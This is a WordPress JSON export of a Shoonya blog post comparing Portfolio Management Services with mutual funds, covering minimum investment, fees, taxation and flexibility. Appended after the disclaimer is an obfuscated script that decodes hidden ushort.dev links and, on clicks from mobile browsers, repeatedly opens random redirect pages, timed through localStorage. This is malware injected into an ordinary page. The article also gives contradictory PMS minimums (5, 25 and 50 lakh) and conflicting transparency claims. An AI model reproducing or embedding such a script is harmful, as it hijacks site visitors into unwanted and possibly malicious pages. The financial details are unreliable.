{"id":115,"date":"2022-12-23T05:23:42","date_gmt":"2022-12-23T05:23:42","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=115"},"modified":"2023-10-04T09:50:22","modified_gmt":"2023-10-04T09:50:22","slug":"difference-between-portfolio-management-and-mutual-funds","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/","title":{"rendered":"Difference Between Portfolio Management and Mutual Funds"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#Difference_between_MF_and_PMS\" >Difference between MF and PMS<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#What_should_I_choose\" >What should I choose?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#Final_Words\" >Final Words<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/#FAQs\" >FAQs<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">Before we differentiate between PMS (Portfolio Management Services) and Mutual Funds, let&#8217;s quickly understand what they are.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Portfolio Management Services-<\/strong> Registered professionals provide Portfolio Management Services. They often enter into an agreement with their client (investor) to construct an investment portfolio with the appropriate stock mix based on the client&#8217;s investment strategy and expectations. Portfolio Managers make customized investment decisions on behalf of their clients to achieve their objectives (income\/return\/risk).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mutual Funds-<\/strong> Mutual funds are investment vehicles managed by professionals who allocate funds to maximize returns for fund investors. They are a collection of investments in securities such as bonds, stocks, money market instruments, etc. A mutual fund can be chosen based on one&#8217;s requirements and financial needs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Portfolio Management Services and Mutual Funds are common choices among investors. We suggest you look at these differences and then decide for yourself.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Minimum Investment Required<\/strong>:<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PMS-<\/strong> According to SEBI, the portfolio manager must accept a minimum of Rs. 5 lakhs or securities worth a minimum of Rs. 5 lakhs from the client when opening an account to provide portfolio management services to the client. The minimum investment value, however, must be 25Lac.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mutual Funds-<\/strong> You can start investing in mutual funds with as little as Rs 500.<\/p>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\">\n<li><strong>Transparency and Regulation:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PMS-<\/strong> As per SEBI, Portfolio Managers are required to issue full disclosure of money management which includes:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>(a) the composition and the value of the portfolio, description of security, number of securities, value of each security held in the portfolio, cash balance and the aggregate value of the portfolio as of the date of the report;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>(b) transactions are undertaken during the period of the report, including the date of the transaction and details of purchases and sales;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>(c) beneficial interest received during that period in respect of interest, dividend, bonus shares, rights shares, and debentures;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>(d) expenses incurred in managing the portfolio of the client;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>(e) details of risk foreseen by the portfolio manager and the risk relating to the securities recommended by the portfolio manager for investment or disinvestment<\/em>.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mutual Funds<\/strong>&#8211; In the case of mutual funds, the investor receives a monthly final holdings report and a quarterly total expense ratio. However, before making an investment decision, we suggest you review the scheme performance of any mutual fund, as they are not subject to strict transparency.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Infographic_What-makes-Mutual-Funds-different-from-PMS.jpg\" alt=\"PMS vs Mutual Fund\" class=\"wp-image-821\" style=\"width:538px;height:302px\" width=\"538\" height=\"302\"\/><\/figure>\n<\/div>\n\n\n<ol class=\"wp-block-list\" start=\"3\">\n<li><strong>Taxation:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mutual funds<\/strong> allow a fund manager to buy and sell stocks as often as he wants, and the transactions are tax-free.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the case of PMS, however, the investor incurs capital gain or loss on every sale or purchase of stocks because the stocks are held in the investor&#8217;s name. As a result, the capital gains tax applies.<\/p>\n\n\n\n<ol class=\"wp-block-list\" start=\"4\">\n<li><strong>Fee-Structure:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><a href=\"https:\/\/shoonya.com\/blog\/portfolio-management-beginners-guide\/\" target=\"_blank\" rel=\"noreferrer noopener\">Portfolio Management<\/a> <\/strong>services are much more expensive than mutual funds. Here is how their fee structure takes three shapes:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Upfront fee<\/strong>: This fee is charged at the time of purchase, and the amount of the entry charge can range between 2% and 3%.<\/li>\n\n\n\n<li><strong>Management fee:<\/strong> This is a mandatory quarterly portfolio management charge that can range between 1% and 3% depending on the provider&#8217;s terms.<\/li>\n\n\n\n<li><strong>Performance fee:<\/strong> It accounts for the amount charged by the portfolio service provider as a performance fee on the portfolio. It acts like a profit-sharing ratio between the portfolio management service provider and the investor.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>In the case of Mutual Funds<\/strong>, the fee is low as compared to PMS. Also, it follows a fixed payment system.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5. Flexibility:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PMS<\/strong>&#8211; You can make a tailor-made mix of the funds and a concentrated portfolio according to your needs and risk-to-reward capacity. It offers varied flexibility to investors.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mutual Funds<\/strong>&#8211; Mutual Funds are not flexible. As per specific regulations, an investor can include a particular fund only up to a certain ratio in his portfolio.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Difference_between_MF_and_PMS\"><\/span>Difference between MF and PMS<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Criteria<\/strong><\/td><td><strong>Mutual Fund<\/strong><\/td><td><strong>Portfolio Management Services (PMS)<\/strong><\/td><\/tr><tr><td>Minimum Investment<\/td><td>Rs. 500 to Rs. 5,000<\/td><td>Rs. 50 lakhs<\/td><\/tr><tr><td>Portfolio Customization<\/td><td>No<\/td><td>Yes<\/td><\/tr><tr><td>Fees and Charges<\/td><td>Lower<\/td><td>Higher<\/td><\/tr><tr><td>Regulatory Oversight<\/td><td>Higher<\/td><td>Lower<\/td><\/tr><tr><td>Tax Efficiency<\/td><td>Higher<\/td><td>Lower<\/td><\/tr><tr><td>Diversification<\/td><td>Higher<\/td><td>Lower<\/td><\/tr><tr><td>Liquidity<\/td><td>Higher<\/td><td>Lower<\/td><\/tr><tr><td>Transparency<\/td><td>Lower<\/td><td>Higher<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_should_I_choose\"><\/span><strong>What should I choose?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">PMS and <a href=\"https:\/\/shoonya.com\/mutual-funds\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Mutual Funds<\/mark><\/a> outperform the average rate of inflation growth, but mutual funds do not require a Demat account, whereas PMS requires one.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">An investor invests in a mutual fund, and fund managers invest in the stock market, charging the investor through the expense ratio. However, in the case of PMS, an investor must hire a fund manager and give them power of attorney to invest in the stock market on the investor&#8217;s behalf.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Even though PMS provides greater flexibility, mutual funds are more tightly regulated and cost-effective; they are the preferred choice of investors to gain passive exposure to capital markets.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Final_Words\"><\/span><strong>Final Words<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Regarding pros and cons, we recommend that you conduct a comparative analysis based on your risk tolerance and expected return and then select your investment avenue.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"FAQs\"><\/span><strong>FAQs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1696412778057\"><strong class=\"schema-faq-question\"><strong>What is the difference between portfolio management and mutual funds?<\/strong><\/strong> <p class=\"schema-faq-answer\">Both portfolio management and mutual funds aim to generate returns through investments, but they differ in several aspects. PMS offers customisation, transparency, flexibility, and direct accountability to investors, typically catering to high-net-worth individuals. Mutual funds are more accessible, tax-efficient, and diverse but lack customisation.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1696412787662\"><strong class=\"schema-faq-question\"><strong>How does the fee structure differ between portfolio management and mutual funds?<\/strong><\/strong> <p class=\"schema-faq-answer\">PMS providers offer various fee structures, including fixed fees, performance fees, and fund management fees. Mutual funds typically have fixed charges based on the amount of individual investment.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1696412807049\"><strong class=\"schema-faq-question\"><strong>Can I start investing in mutual funds with a small amount?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes, mutual funds offer the flexibility of starting with small investments, such as Rs. 500, through Systematic Investment Plans (SIPs).<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1696412821982\"><strong class=\"schema-faq-question\"><strong>Which investment option is more tax-efficient, portfolio management, or mutual funds?<\/strong><\/strong> <p class=\"schema-faq-answer\">Mutual funds are generally more tax-efficient, as they enjoy certain tax exemptions. In contrast, PMS investors are subject to capital gains tax.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1696412837144\"><strong class=\"schema-faq-question\"><strong>What factors should I consider when choosing between portfolio management and mutual funds?<\/strong><\/strong> <p class=\"schema-faq-answer\">Consider your risk tolerance, investment objectives, financial resources, and the level of customization you require when deciding between portfolio management and mutual funds.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1696412851456\"><strong class=\"schema-faq-question\"><strong>What&#8217;s the difference between mutual funds and portfolio management (PMS)?<\/strong><\/strong> <p class=\"schema-faq-answer\">Mutual funds pool money from investors and invest in a portfolio of assets. PMS offers customized investment solutions, managed by professionals based on individual needs.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1696412866959\"><strong class=\"schema-faq-question\"><strong>Is PMS better than MF?<\/strong><\/strong> <p class=\"schema-faq-answer\">No clear answer; PMS offers flexibility and transparency but requires higher investment, while MF offers diversification, liquidity, and tax benefits but with less control.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1696412887656\"><strong class=\"schema-faq-question\"><strong>What is portfolio management in mutual funds?<\/strong><\/strong> <p class=\"schema-faq-answer\">It&#8217;s selecting, monitoring, and optimizing a mutual fund&#8217;s securities by a fund manager to meet investors&#8217; objectives and market conditions.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1696412901568\"><strong class=\"schema-faq-question\"><strong>What&#8217;s the difference between a fund and a portfolio?<\/strong><\/strong> <p class=\"schema-faq-answer\">A fund is a pool of money managed by a professional, investing in a portfolio of assets. A portfolio can be self-managed or handled by a portfolio manager.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Before we differentiate between PMS (Portfolio Management Services) and Mutual Funds, let&#8217;s quickly understand what they are. Portfolio Management Services- Registered professionals provide Portfolio Management Services. They often enter into an agreement with their client (investor) to construct an investment portfolio with the appropriate stock mix based on the client&#8217;s investment strategy and expectations. Portfolio &hellip; <a href=\"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Difference Between Portfolio Management and Mutual Funds&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":238,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[110],"tags":[117,120],"class_list":["post-115","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-portfolio-management","tag-portfolio-management-services","tag-portfolio-management-vs-mutual-funds"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Difference Between Portfolio Management and Mutual Funds<\/title>\n<meta name=\"description\" content=\"Are you often confused between Mutual Funds and PMS? Know about Mutual Funds vs PMS, along with the PMS vs mutual fund returns.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Difference Between Portfolio Management and Mutual Funds\" \/>\n<meta property=\"og:description\" content=\"Are you often confused between Mutual Funds and PMS? Know about Mutual Funds vs PMS, along with the PMS vs mutual fund returns.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/difference-between-portfolio-management-and-mutual-funds\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2022-12-23T05:23:42+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-10-04T09:50:22+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Difference Between Portfolio Management and Mutual Funds\",\"datePublished\":\"2022-12-23T05:23:42+00:00\",\"dateModified\":\"2023-10-04T09:50:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/\"},\"wordCount\":1160,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/12\\\/Difference-between-Portfolio-Management-and-Mutual-Funds_-Everything-you-need-to-know..jpg\",\"keywords\":[\"Portfolio management services\",\"Portfolio Management vs Mutual Funds\"],\"articleSection\":[\"Portfolio Management\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-portfolio-management-and-mutual-funds\\\/\",\"name\":\"Difference Between Portfolio Management and Mutual 